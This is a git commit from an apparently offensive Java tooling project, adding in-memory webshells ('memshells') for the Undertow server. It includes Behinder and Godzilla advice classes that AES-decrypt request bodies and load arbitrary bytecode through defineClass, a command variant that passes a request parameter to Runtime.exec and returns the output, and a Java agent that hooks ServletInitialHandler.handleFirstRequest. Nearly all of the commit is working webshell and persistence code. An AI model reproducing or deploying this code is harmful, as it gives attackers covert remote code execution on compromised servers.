feat: support undertow agent shell (#21)

1. hook point is io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest, resolved #21 2. fix godzilla payload error in some module system that cost my five hour to debug
2026-09-22 07:00:43 +08:00 · 2025-01-07 23:26:59 +08:00
parent eb05735dda
commit 09ee91fd34
14 changed files with 372 additions and 34 deletions
@@ -0,0 +1,86 @@
+package com.reajason.javaweb.memshell.undertow.behinder;
+
+import net.bytebuddy.asm.Advice;
+
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import java.io.BufferedReader;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * @author ReaJason
+ */
+public class BehinderServletInitialHandlerAdvisor {
+
+    @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
+    public static boolean enter(
+            @Advice.AllArguments Object[] args
+    ) {
+        String pass = "pass";
+        String headerName = "headerName";
+        String headerValue = "headerValue";
+        try {
+            Object servletRequestContext = null;
+            if (args.length == 2) {
+                servletRequestContext = args[1];
+            } else {
+                servletRequestContext = args[2];
+            }
+            Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext);
+            Object res = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext);
+            String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
+            if (value != null
+                    && value.contains(headerValue)) {
+                Map<String, Object> obj = new HashMap<String, Object>(3);
+                obj.put("request", request);
+                Object response = res;
+                Field field = null;
+                Class<?> clazz = obj.getClass();
+                while (clazz != Object.class) {
+                    try {
+                        field = clazz.getDeclaredField("response");
+                        break;
+                    } catch (NoSuchFieldException var5) {
+                        clazz = clazz.getSuperclass();
+                    }
+                }
+                if (field != null) {
+                    field.setAccessible(true);
+                    response = field.get(response);
+                }
+                obj.put("response", response);
+                Object session = request.getClass().getMethod("getSession").invoke(request);
+                session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "u", pass);
+                obj.put("session", session);
+                Cipher c = Cipher.getInstance("AES");
+                c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
+                byte[] data = null;
+                Class<?> base64;
+                BufferedReader reader = (BufferedReader) request.getClass().getMethod("getReader").invoke(request);
+                String parameter = reader.readLine();
+                try {
+                    base64 = Class.forName("java.util.Base64");
+                    Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+                    data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
+                } catch (Exception var6) {
+                    base64 = Class.forName("sun.misc.BASE64Decoder");
+                    Object decoder = base64.newInstance();
+                    data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
+                }
+                byte[] bytes = c.doFinal(data);
+                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+                defineClass.setAccessible(true);
+                Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytes, 0, bytes.length);
+                Object instance = payload.newInstance();
+                instance.equals(obj);
+                return true;
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        return false;
+    }
+}
@@ -0,0 +1,43 @@
+package com.reajason.javaweb.memshell.undertow.command;
+
+import net.bytebuddy.asm.Advice;
+
+import java.io.InputStream;
+import java.io.OutputStream;
+
+/**
+ * @author ReaJason
+ */
+public class CommandServletInitialHandlerAdvisor {
+
+    @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
+    public static boolean enter(
+            @Advice.AllArguments Object[] args
+    ) {
+        String paramName = "paramName";
+        try {
+            Object servletRequestContext = null;
+            if (args.length == 2) {
+                servletRequestContext = args[1];
+            } else {
+                servletRequestContext = args[2];
+            }
+            Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext);
+            Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext);
+            String cmd = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName);
+            if (cmd != null) {
+                Process exec = Runtime.getRuntime().exec(cmd);
+                InputStream inputStream = exec.getInputStream();
+                OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
+                byte[] buf = new byte[8192];
+                int length;
+                while ((length = inputStream.read(buf)) != -1) {
+                    outputStream.write(buf, 0, length);
+                }
+                return true;
+            }
+        } catch (Exception ignored) {
+        }
+        return false;
+    }
+}
@@ -0,0 +1,93 @@
+package com.reajason.javaweb.memshell.undertow.godzilla;
+
+import net.bytebuddy.asm.Advice;
+
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import java.io.ByteArrayOutputStream;
+import java.io.PrintWriter;
+import java.lang.reflect.Method;
+
+/**
+ * @author ReaJason
+ */
+public class GodzillaServletInitialHandlerAdvisor {
+
+    @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
+    public static boolean enter(
+            @Advice.AllArguments Object[] args
+    ) {
+        String key = "key";
+        String pass = "pass";
+        String md5 = "md5";
+        String headerName = "headerName";
+        String headerValue = "headerValue";
+        try {
+            Object servletRequestContext = null;
+            if (args.length == 2) {
+                servletRequestContext = args[1];
+            } else {
+                servletRequestContext = args[2];
+            }
+            Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext);
+            Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext);
+            String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
+            if (value != null
+                    && value.contains(headerValue)) {
+                String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
+                byte[] data = null;
+                Class<?> base64;
+                try {
+                    base64 = Class.forName("java.util.Base64");
+                    Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+                    data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
+                } catch (Exception var6) {
+                    base64 = Class.forName("sun.misc.BASE64Decoder");
+                    Object decoder = base64.newInstance();
+                    data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
+                }
+                Cipher c = Cipher.getInstance("AES");
+                SecretKeySpec keySpec = new SecretKeySpec(key.getBytes(), "AES");
+                c.init(2, keySpec);
+                data = c.doFinal(data);
+                Object session = request.getClass().getMethod("getSession").invoke(request);
+                Object sessionPayload = session.getClass().getMethod("getAttribute", String.class).invoke(session, "payload");
+                if (sessionPayload == null) {
+                    Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+                    defineClass.setAccessible(true);
+                    Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
+                    session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "payload", payload);
+                } else {
+                    System.out.println(new String(data));
+                    request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data);
+                    ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
+                    Object f = ((Class<?>) sessionPayload).newInstance();
+                    f.equals(arrOut);
+                    f.equals(request);
+                    PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
+                    writer.write(md5.substring(0, 16));
+                    f.toString();
+
+                    c.init(1, keySpec);
+                    byte[] encryptBytes = c.doFinal(arrOut.toByteArray());
+                    String result = null;
+                    try {
+                        base64 = Class.forName("java.util.Base64");
+                        Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+                        result = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, encryptBytes);
+                    } catch (Exception var6) {
+                        base64 = Class.forName("sun.misc.BASE64Encoder");
+                        Object encoder = base64.newInstance();
+                        result = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, encryptBytes);
+                    }
+                    writer.write(result);
+                    writer.write(md5.substring(16));
+                }
+                return true;
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        return false;
+    }
+}
@@ -81,18 +81,17 @@ public class UndertowFilterInjector {
    }

    public void inject(Object context, Object filter) throws Exception {
-        String filterClassName = getClassName();
        if (isInjected(context)) {
            return;
        }
        Class<?> filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo");
        Object deploymentInfo = getFieldValue(context, "deploymentInfo");
-        Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(filterClassName, filter.getClass());
+        Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(getClassName(), filter.getClass());
        invokeMethod(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
        Object deploymentImpl = getFieldValue(context, "deployment");
        Object managedFilters = invokeMethod(deploymentImpl, "getFilters", null, null);
        invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
-        invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, filterClassName, getUrlPattern(), DispatcherType.REQUEST});
+        invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, getClassName(), getUrlPattern(), DispatcherType.REQUEST});
    }

    @SuppressWarnings("unchecked")
@@ -0,0 +1,63 @@
+package com.reajason.javaweb.memshell.undertow.injector;
+
+import net.bytebuddy.agent.builder.AgentBuilder;
+import net.bytebuddy.asm.Advice;
+import net.bytebuddy.description.type.TypeDescription;
+import net.bytebuddy.dynamic.DynamicType;
+import net.bytebuddy.matcher.ElementMatchers;
+import net.bytebuddy.utility.JavaModule;
+
+import java.lang.instrument.Instrumentation;
+import java.security.ProtectionDomain;
+
+import static net.bytebuddy.matcher.ElementMatchers.named;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/28
+ */
+public class UndertowServletInitialHandlerAgentInjector implements AgentBuilder.Transformer {
+
+    static Class<?> interceptorClass = null;
+
+    static {
+        try {
+            interceptorClass = Class.forName(getClassName());
+        } catch (ClassNotFoundException e) {
+            e.printStackTrace();
+        }
+    }
+
+    @Override
+    public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
+                                            TypeDescription typeDescription,
+                                            ClassLoader classLoader, JavaModule module,
+                                            ProtectionDomain protectionDomain) {
+        return builder.visit(Advice.to(interceptorClass).on(named("handleFirstRequest")));
+    }
+
+    public static void premain(String args, Instrumentation inst) throws Exception {
+        launch(inst);
+    }
+
+    public static void agentmain(String args, Instrumentation inst) throws Exception {
+        launch(inst);
+    }
+
+    public static String getClassName() {
+        return "{{advisorName}}";
+    }
+
+    private static void launch(Instrumentation inst) throws Exception {
+        System.out.println("MemShell Agent is starting");
+        new AgentBuilder.Default()
+                .ignore(ElementMatchers.none())
+                .with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
+//                .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
+//                .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
+                .type(named("io.undertow.servlet.handlers.ServletInitialHandler"))
+                .transform(new UndertowServletInitialHandlerAgentInjector())
+                .installOn(inst);
+        System.out.println("MemShell Agent is working at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest");
+    }
+}